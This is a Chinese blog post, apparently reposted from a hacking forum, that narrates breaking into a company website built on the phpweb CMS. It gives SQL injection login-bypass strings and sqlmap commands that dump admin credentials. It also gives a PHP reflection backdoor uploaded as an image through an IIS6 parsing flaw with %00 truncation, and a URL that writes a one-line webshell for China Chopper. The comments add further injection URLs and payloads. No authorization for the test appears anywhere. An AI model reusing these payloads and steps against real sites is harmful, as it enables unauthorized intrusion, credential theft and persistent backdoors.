对XX科技有限公司的一次渗透测试
文章来源法克,作者:呆呆的骗子大婶
直接操御剑扫敏感目录,根据敏感文件可以确认就是phpweb的cms。
phpweb 注入点一:
admin.php后台验证文件post.php存在验证漏洞,可以注入数据库而绕过后台登陆验证进入后台,后台万能密码:admin' or '1'='1(账号与密码相同)这里直接打开后台页面尝试万能密码登录,居然没报错也没有绕过验证,如图:
不报错也没有绕过验证的原因是因为 ’ 号在数据库中被闭合了,很多时候要提交一些非法字符来判断SQL查询是否被过滤,这里在后面多加个 ’ 号,在数据库查询语句时找不到与之闭合的 ’ ,即可报错,如图:
从图中的报错信息可以发现,在user表单里的数据被带入数据库查询,SQL语句为:select * from 866_base_admin where user='admin' or '1'='1' ',最后的 ’ 当然是无法被闭合的了,在报错注入中,诸如像%、’这类的特殊符号只要代码没过滤都是会报错回显的,如图:
从报错来看我们知道了SQL查询语句,当条件为真时即绕过了登陆界面,并且SQL语句里#是注释的作用。因此我们可以提交’ or 1=1 #。这样查询条件为真,不管后面还有什么条件都被注释掉了,即可直接绕过后台登陆验证。
这里不嫌麻烦的话可以手工一个一个内容的去爆数据,用工具当然是可以的,直接提交POST请求给工具进行检测,我建议POST注入方式的话用胡萝卜或SQLMAP,这俩工具是比较强大的,我用kail下的SQLMAP,前几天就有人在问POST注入点怎么用SQLMAP注入法?
下面就来科普一下吧,打开后台登陆页面admin.php,在账号表单处随意输入内容,密码也随意,再打开当前浏览器的本地代理和Burp Suite,默认端口为8080,再点击“管理员登录”截取当前发送出去的数据包,如图:
在Burp Suite里抓取到的数据被称为POST数据包,把里面的数据复制到一个txt文件中,如图:
保存为pentest.txt,再放到kail里的相应目录里面。
一个强大的注入工具光有GET注入当然是不行的,SQLMAP是集合了GET、POST、cookie注入于一体的自动化注入工具,在使用工具前大家不妨去试着自己手工注入一下,这样掌握的不仅仅是渗透技术。
在kail里打开SQLMAP,输入如下命令开始爆库:
sqlmap -r /root/Desktop/cookie/pentest.txt -v 1 --dbs
回车后会有一些提示,都直接yes下去,当SQLMAP检测到user表单存在SQL注入漏洞时会显示深绿色的MySQL大致版本号,如图:
最后确认user表单存在注入漏洞后,提示你是否对其他表单参数进行注入,如图:
这里既然有了user表单,就没必要测试其他参数了,输入N后读出数据库和服务器环境,如图:
好吧,OK,就科普到这了,后面的一笔带过,会SQLMAP的都懂的,发现当前权限很低,不过有information_schema库,这样至少不用去猜数据表了:
sqlmap -r /root/Desktop/cookie/pentest.txt -v 1 --tables-D “a0430130759”
爆数据表
这里查询到a0430130759数据库的管理员表名为866_base_admin
爆表的列名
sqlmap -r /root/Desktop/cookie/pentest.txt -v 1 --columns-T “866_base_admin” -D “a0430130759”
列名如图所示:
直接从中筛选出user、password来爆字段内容:
sqlmap -r /root/Desktop/cookie/pentest.txt -v 1 --dump-C “user,password” -T “xx_base_admin” -D “a0430130759”
结果如图:
---------------好了已完结 接下来提权---------------------
解出MD5后,直接登陆后台,如图所示。进入后台后,应该没啥说的了,都是那老套路,直接找到编辑器,打开图片上传,如图所示:
同样,打开Burp suite,开启本地代理,点击“浏览”在本地寻找一个PHP图片木马(后缀必须是jpg、gif等图片后缀),我的木马代码为:
1 | <!--?php $func = new ReflectionFunction($_GET[m]); echo $func--->invokeArgs(array($_GET[c],$_GET[id]));?> |
这里使用了PHP反射后门,接着点击“确定”开始截取数据包,如图所示:
在POST数据包中我们看到了attachPath为重命名后的图片文件,这说明程序是在客户端将我们的图片马做了重命名设置,那就好办了,直接修改这个名字再提交就行了,可能大家会想这接把jpg后缀改为php来提交,我试过了,程序在客户端重命名后会在服务器端坐文件验证,所以是无法通过的,如图所示:
由于远程WEB服务器是IIS6.0的,我们尝试利用其解析漏洞再上传,将文件后缀改为php;.jpg,如图所示:
Forward后会返回上传成功后文件地址,如图所示:
访问之,查看情况,如图所示:
域名,直接被D盾拦截,返回上传的地方重新抓包,抓到数据包后,修改重命名文件为hack.php;.jpg,但是要在hack.php后面输入%00,再选中%00按Ctrl+Shift+u来进行urldecode,如图所示:
发送数据包,回显如图所示:
直接访问:
http://www.xxxx.com/page/pics/20140813/hack.php?m=file_put_contents&c=../../../test11.php&id=
即可访问成功,作用是在网站根目录下生成PHP一句话木马test11.php,密码为c,如图所示:
用菜刀连接一句话木马,如图所示:
浏览服务器的时候发现是安全模式下的星外,也没多少兴趣去提权服务器了,对网站渗透就到这里吧。在本机对服务器的所有网站进行了大体的扫描,CMS识别,发现大多数PHP网站程序都为老版的phpweb,漏洞问题都是一样的,如图所示:
-------------------------文章END 下方是收集的评论--------------------------------
- -phpweb注入姿势:
1,用havj跑:www.phpweb.com/down/class/index.php?myord=1
2,www.phpweb.com/news/html/?423'and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x27,0x7e,user,0x27,0x7e,password,0x27,0x7e)/**/from/**/pwn_base_admin/**/limit/**/0,1))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)/*.html
3,sqlmap,py -u "www.phpweb.com/page/html/index.php?id=1"
4,sqlmap.py -u "www.phpweb.com/search/index.php?imageField.x=-1138&imageField.y=-319&key=1%27"
5,admin 'or '1'='1
admin 'or '1'='1
亲,友情给你加好了。你有空看下额
恩恩 看到啦~~ 感谢~